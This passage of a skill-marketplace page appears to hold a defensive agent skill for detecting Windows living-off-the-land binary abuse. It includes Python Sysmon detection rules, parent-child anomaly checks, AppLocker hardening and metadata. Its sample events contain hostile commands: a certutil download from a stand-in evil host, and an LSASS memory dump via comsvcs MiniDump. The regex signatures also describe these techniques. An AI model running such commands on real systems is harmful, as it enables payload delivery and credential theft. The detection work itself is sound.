indicators\nLOLBIN_SIGNATURES = {\n    \"certutil.exe\": {\n        \"suspicious_args\": [\n            r\"-urlcache\\s+-f\\s+http\",\n            r\"-decode\\s+\",\n            r\"-encode\\s+\",\n            r\"-verifyctl\\s+.*http\",\n        ],\n        \"mitre\": \"T1218, T1105\",\n        \"severity\": \"high\"\n    },\n    \"mshta.exe\": {\n        \"suspicious_args\": [\n            r\"https?:\u002F\u002F\",\n            r\"vbscript:\",\n            r\"javascript:\",\n            r\"about:\",\n        ],\n        \"mitre\": \"T1218.005\",\n        \"severity\": \"high\"\n    },\n    \"rundll32.exe\": {\n        \"suspicious_args\": [\n            r\"javascript:\",\n            r\"shell32\\.dll.*ShellExec_RunDLL\",\n            r\"\\\\\\\\.*\\\\.*\\.dll\",  # UNC path DLL loading\n            r\"comsvcs\\.dll.*MiniDump\",  # LSASS dump via comsvcs\n        ],\n        \"mitre\": \"T1218.011\",\n        \"severity\": \"critical\"\n    },\n    \"regsvr32.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Fs\\s+\u002Fn\\s+\u002Fu\\s+\u002Fi:\",\n            r\"scrobj\\.dll\",\n            r\"https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1218.010\",\n        \"severity\": \"critical\"\n    },\n    \"bitsadmin.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Ftransfer\\s+.*https?:\u002F\u002F\",\n            r\"\u002Fcreate\\s+.*\\\u002Faddfile\\s+.*https?:\u002F\u002F\",\n            r\"\u002FSetNotifyCmdLine\",\n        ],\n        \"mitre\": \"T1197\",\n        \"severity\": \"high\"\n    },\n    \"wmic.exe\": {\n        \"suspicious_args\": [\n            r\"process\\s+call\\s+create\",\n            r\"\u002Fnode:\",\n            r\"os\\s+get\\s+\u002Fformat:.*https?:\u002F\u002F\",\n            r\"xsl.*https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1047\",\n        \"severity\": \"high\"\n    },\n    \"msbuild.exe\": {\n        \"suspicious_args\": [\n            r\"\\.xml\\b\",\n            r\"\\.csproj\\b\",\n            r\"\\\\temp\\\\\",\n            r\"\\\\appdata\\\\\",\n        ],\n        \"mitre\": \"T1127.001\",\n        \"severity\": \"high\"\n    },\n    \"mavinject.exe\": {\n        \"suspicious_args\": [\n            r\"\u002FINJECTRUNNING\\s+\\d+\",\n        ],\n        \"mitre\": \"T1218.013\",\n        \"severity\": \"critical\"\n    },\n}\n\ndef analyze_sysmon_events(events):\n    \"\"\"Analyze Sysmon process creation events for LOLBin abuse.\"\"\"\n    alerts = []\n\n    for event in events:\n        image = event.get(\"Image\", \"\").lower()\n        cmdline = event.get(\"CommandLine\", \"\")\n        parent = event.get(\"ParentImage\", \"\")\n\n        # Check if the process is a known LOLBin\n        for lolbin, config in LOLBIN_SIGNATURES.items():\n            if image.endswith(lolbin.lower()):\n                for pattern in config[\"suspicious_args\"]:\n                    if re.search(pattern, cmdline, re.IGNORECASE):\n                        alert = {\n                            \"timestamp\": event.get(\"UtcTime\", \"\"),\n                            \"hostname\": event.get(\"Computer\", \"\"),\n                            \"lolbin\": lolbin,\n                            \"command_line\": cmdline,\n                            \"parent_process\": parent,\n                            \"user\": event.get(\"User\", \"\"),\n                            \"process_id\": event.get(\"ProcessId\", \"\"),\n                            \"parent_pid\": event.get(\"ParentProcessId\", \"\"),\n                            \"mitre_technique\": config[\"mitre\"],\n                            \"severity\": config[\"severity\"],\n                            \"matched_pattern\": pattern,\n                        }\n                        alerts.append(alert)\n                        break\n    return alerts\n\n# Example usage with parsed Sysmon events\nsample_events = [\n    {\n        \"UtcTime\": \"2026-01-20 14:32:15.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n        \"CommandLine\": \"certutil.exe -urlcache -f http:\u002F\u002Fevil.example.com\u002Fpayload.exe C:\\\\temp\\\\update.exe\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"4532\",\n        \"ParentProcessId\": \"2108\",\n    },\n    {\n        \"UtcTime\": \"2026-01-20 14:33:01.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\rundll32.exe\",\n        \"CommandLine\": \"rundll32.exe comsvcs.dll, MiniDump 624 C:\\\\temp\\\\dump.bin full\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"5128\",\n        \"ParentProcessId\": \"2108\",\n    },\n]\n\nalerts = analyze_sysmon_events(sample_events)\nfor alert in alerts:\n    print(f\"[{alert['severity'].upper()}] {alert['lolbin']} on {alert['hostname']}\")\n    print(f\"  MITRE: {alert['mitre_technique']}\")\n    print(f\"  Command: {alert['command_line'][:120]}\")\n    print(f\"  Parent: {alert['parent_process']}\")\n    print(f\"  User: {alert['user']}\")\n    print()\n```\n\n### Step 4: Detect LOLBin Network Connections\n\nLOLBins making outbound network connections is a strong indicator of malicious use:\n\n```python\ndef detect_lolbin_network_activity(network_events, process_events):\n    \"\"\"Correlate Sysmon network events (ID 3) with process creation (ID 1)\n    to find LOLBins making outbound connections.\"\"\"\n\n    # LOLBins that should rarely make outbound connections\n    NETWORK_SUSPICIOUS = {\n        \"certutil.exe\", \"mshta.exe\", \"rundll32.exe\", \"regsvr32.exe\",\n        \"msbuild.exe\", \"installutil.exe\", \"bitsadmin.exe\", \"esentutl.exe\",\n        \"expand.exe\", \"replace.exe\", \"cmstp.exe\", \"presentationhost.exe\",\n    }\n\n    alerts = []\n    for event in network_events:\n        image = event.get(\"Image\", \"\").lower()\n        binary_name = image.split(\"\\\\\")[-1] if \"\\\\\" in image else image\n\n        if binary_name in NETWORK_SUSPICIOUS:\n            dest_ip = event.get(\"DestinationIp\", \"\")\n            dest_port = event.get(\"DestinationPort\", \"\")\n\n            # Skip localhost and internal DNS\n            if dest_ip.startswith(\"127.\") or dest_ip == \"::1\":\n                continue\n\n            alert = {\n                \"type\": \"lolbin_network_connection\",\n                \"binary\": binary_name,\n                \"destination_ip\": dest_ip,\n                \"destination_port\": dest_port,\n                \"destination_hostname\": event.get(\"DestinationHostname\", \"\"),\n                \"source_ip\": event.get(\"SourceIp\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n                \"severity\": \"critical\",\n            }\n            alerts.append(alert)\n            print(f\"[CRITICAL] {binary_name} connected to \"\n                  f\"{dest_ip}:{dest_port} ({event.get('DestinationHostname', 'N\u002FA')})\")\n\n    return alerts\n```\n\n### Step 5: Monitor Anomalous Parent-Child Process Relationships\n\n```python\n# Suspicious parent-child relationships indicating LOLBin abuse\nSUSPICIOUS_PARENT_CHILD = [\n    # Office apps spawning LOLBins (macro execution)\n    {\"parent\": [\"winword.exe\", \"excel.exe\", \"powerpnt.exe\", \"outlook.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"pwsh.exe\", \"mshta.exe\",\n               \"wscript.exe\", \"cscript.exe\", \"certutil.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1204.002\"},\n\n    # Explorer spawning script interpreters directly\n    {\"parent\": [\"explorer.exe\"],\n     \"child\": [\"mshta.exe\", \"regsvr32.exe\", \"msbuild.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1218\"},\n\n    # WMI provider spawning processes (lateral movement)\n    {\"parent\": [\"wmiprvse.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1047\"},\n\n    # Services spawning unusual children\n    {\"parent\": [\"services.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\", \"rundll32.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1543.003\"},\n]\n\ndef check_parent_child_anomaly(event):\n    \"\"\"Check if a process creation event has a suspicious parent-child pair.\"\"\"\n    parent = event.get(\"ParentImage\", \"\").split(\"\\\\\")[-1].lower()\n    child = event.get(\"Image\", \"\").split(\"\\\\\")[-1].lower()\n\n    for rule in SUSPICIOUS_PARENT_CHILD:\n        if parent in rule[\"parent\"] and child in rule[\"child\"]:\n            return {\n                \"alert_type\": \"suspicious_parent_child\",\n                \"parent\": parent,\n                \"child\": child,\n                \"command_line\": event.get(\"CommandLine\", \"\"),\n                \"mitre\": rule[\"mitre\"],\n                \"severity\": rule[\"severity\"],\n                \"hostname\": event.get(\"Computer\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n            }\n    return None\n```\n\n### Step 6: Implement AppLocker or WDAC Hardening\n\nRestrict unnecessary LOLBin execution with application control policies:\n\n```powershell\n# Query current AppLocker policy\nGet-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections\n\n# Create AppLocker rules to restrict certutil to admin-only\n$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix \"Block\" `\n    -FileInformation \"C:\\Windows\\System32\\certutil.exe\" `\n    -User \"S-1-1-0\" -Deny\n\n# Export current policy for backup before applying changes\nGet-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml\n\n# Block specific LOLBins for standard users via GPO script\n$lolbins_to_restrict = @(\n    \"mshta.exe\", \"cmstp.exe\", \"msbuild.exe\", \"installutil.exe\",\n    \"regsvr32.exe\", \"presentationhost.exe\", \"ie4uinit.exe\",\n    \"mavinject.exe\", \"xwizard.exe\"\n)\n\nforeach ($binary in $lolbins_to_restrict) {\n    $path = \"C:\\Windows\\System32\\$binary\"\n    if (Test-Path $path) {\n        Write-Output \"Restricting: $path\"\n        # Apply WDAC deny rule via PowerShell\n        # In production, use Group Policy or Intune WDAC policies\n    }\n}\n```\n\n## Verification\n\n- Confirm Sysmon is logging Event ID 1 (Process Creation) with full command-line arguments for all listed LOLBins\n- Validate Sigma rules convert correctly to your SIEM query language using `sigmac` or `sigma-cli`\n- Test detection by executing benign LOLBin commands in a lab environment and confirming alerts fire\n- Verify parent-child anomaly detection catches Office-to-LOLBin chains (e.g., `winword.exe` spawning `certutil.exe`)\n- Confirm LOLBin network connection detection triggers when `certutil.exe` or `mshta.exe` reach out to external IPs\n- Check that AppLocker or WDAC policies do not break legitimate administrative workflows before deploying to production\n- Validate false positive rates by running detection rules against 7 days of baseline telemetry from a clean environment\n- Cross-reference detections against the LOLBAS project database at https:\u002F\u002Flolbas-project.github.io\u002F for completeness\n",{"name":5,"tags":25,"author":30,"domain":31,"license":15,"version":32,"nist_csf":33,"subdomain":38,"description":39,"mitre_attack":40,"d3fend_techniques":44},[26,27,28,29],"lolbins","lotl","fileless-attacks","process-monitoring","mahipal","cybersecurity","1.0",[34,35,36,37],"DE.CM-01","DE.AE-02","DE.AE-06","ID.RA-05","threat-detection","Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks. Monitors process creation, command-line arguments, and parent-child relationships to identify suspicious LOLBin execution patterns.\n",[41,42,43],"T1078","T1190","T1059",[45,46,47,48,49],"Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fdetecting-living-off-the-land-attacks","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":58,"prompt":68,"zipAvailable":69},[59,62,65],{"tool":60,"command":61},"npx","npx skills add NeelakshSaxena\u002FVayu --skill detecting-living-off-the-land-attacks",{"tool":63,"command":64},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill detecting-living-off-the-land-attacks",{"tool":66,"command":67},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill detecting-living-off-the-land-attacks","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fdetecting-living-off-the-land-attacks\u002FSKILL.md",true,[71,75,81],{"path":72,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":74,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":76,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":80},"references\u002Fapi-reference.md","REFERENCE","参考文档",3215,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fdetecting-living-off-the-land-attacks\u002Freferences\u002Fapi-reference.md",{"path":82,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"scripts\u002Fagent.py","SCRIPT","脚本",18993,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fdetecting-living-off-the-land-attacks\u002Fscripts\u002Fagent.py",[88,95,102,109,116,123],{"skillNo":89,"name":90,"nameZh":6,"description":91,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":92,"categories":93,"keywords":94,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":115,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":117,"name":118,"nameZh":6,"description":119,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":120,"categories":121,"keywords":122,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":124,"name":125,"nameZh":6,"description":126,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":127,"categories":128,"keywords":129,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]